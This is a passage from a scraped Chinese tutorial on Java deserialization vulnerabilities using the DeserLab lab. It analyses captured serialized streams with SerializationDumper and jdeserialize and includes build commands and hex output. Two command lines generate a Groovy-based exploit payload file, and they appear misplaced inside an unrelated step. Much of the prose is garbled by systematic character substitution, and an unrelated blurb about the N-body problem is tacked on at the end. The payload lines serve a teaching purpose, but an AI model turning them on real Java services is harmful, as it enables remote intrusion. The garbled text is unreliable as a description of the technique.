这条过滤敕令会将办事器的响应数据提掏出来,如不雅你想要提取客户端数据,你须要改变端标语。处理结不雅如下所示:
- aced00057704f000baaa77020101737200146e622e64657365722e486[...]
这些数据恰是我们须要的数据,它将发送和吸法术据以较为简洁的方法表示出来。我们可以应用前面提到的两个对象来处理这段数据,起首我们应用的是SerializationDumper,然后我们会再应用jdeserialize。之所以要这么做,原因在于应用多个对象来处理同一个义务可以便于我们分析潜在的缺点或问题。如不雅你保持应用一个对象的话,你可能会不当心走进缺点的逝世胡同。当然测验测验不合的对象本身就是一件异常有趣的工作。
- //// BEGIN stream content output
- [blockdata 0x00: 4 bytes]
- [blockdata 0x00: 2 bytes]
- [blockdata 0x00: 9 bytes]
- nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
- //// END stream content output
2.2 分析序列化数据
SerializationDumper对象的应用异常简单直白,我们只须要将十六进制情势的序列化数据作为第一个参数传输进去即可,如下所示:
- java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
- javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
- java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
结不雅如下所示:
- STREAM_MAGIC - 0xac ed
- STREAM_VERSION - 0x00 05
- Contents
- TC_BLOCKDATA - 0x77
- Length - 4 - 0x04
- Contents - 0xf000baaa
- TC_BLOCKDATA - 0x77
- Length - 2 - 0x02
- Contents - 0x0101
- TC_OBJECT - 0x73
- TC_CLASSDESC - 0x72
- className
- Length - 20 - 0x00 14
- Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
我们须要编译才能应用jdeserialize对象。编译义务可以应用[ant](http://ant.apache.org/)以及build.xml文件来完成,我选择手动编译方法,具体敕令如下:
- mkdir build
- javac -d ./build/ src/*
- cd build
- jar cvf jdeserialize.jar *
上述敕令可以生成jar文件,你可以应用如下敕令输出赞助信息以测试jar文件是否已精确生成:
- java -cp jdeserialize.jar org.unsynchronized.jdeserialize
jdeserialize对象须要一个输入文件,是以我们可以应用python之类的对象将十六进制的序列化数据保存成文件,如下所示(我缩减了十六进制字符串以便浏览):
- open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
接下来,我们应用待处理文件名作为第一个参数,传递给jdeserialize对象,处理结不雅如下所示:
- java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
- read: [blockdata 0x00: 4 bytes]
推荐阅读
「多体问题」(又叫 N 体问题)是看似简单,实际上在当今数学中极难霸占的问题。多体问题是指多个互相感化的实体。在物理学中,任何三体问题都没有一个封闭的情势或解析解(见:https://e>>>详细阅读
本文标题:Java反序列化漏洞从理解到实践
地址:http://www.17bianji.com/lsqh/37657.html
1/2 1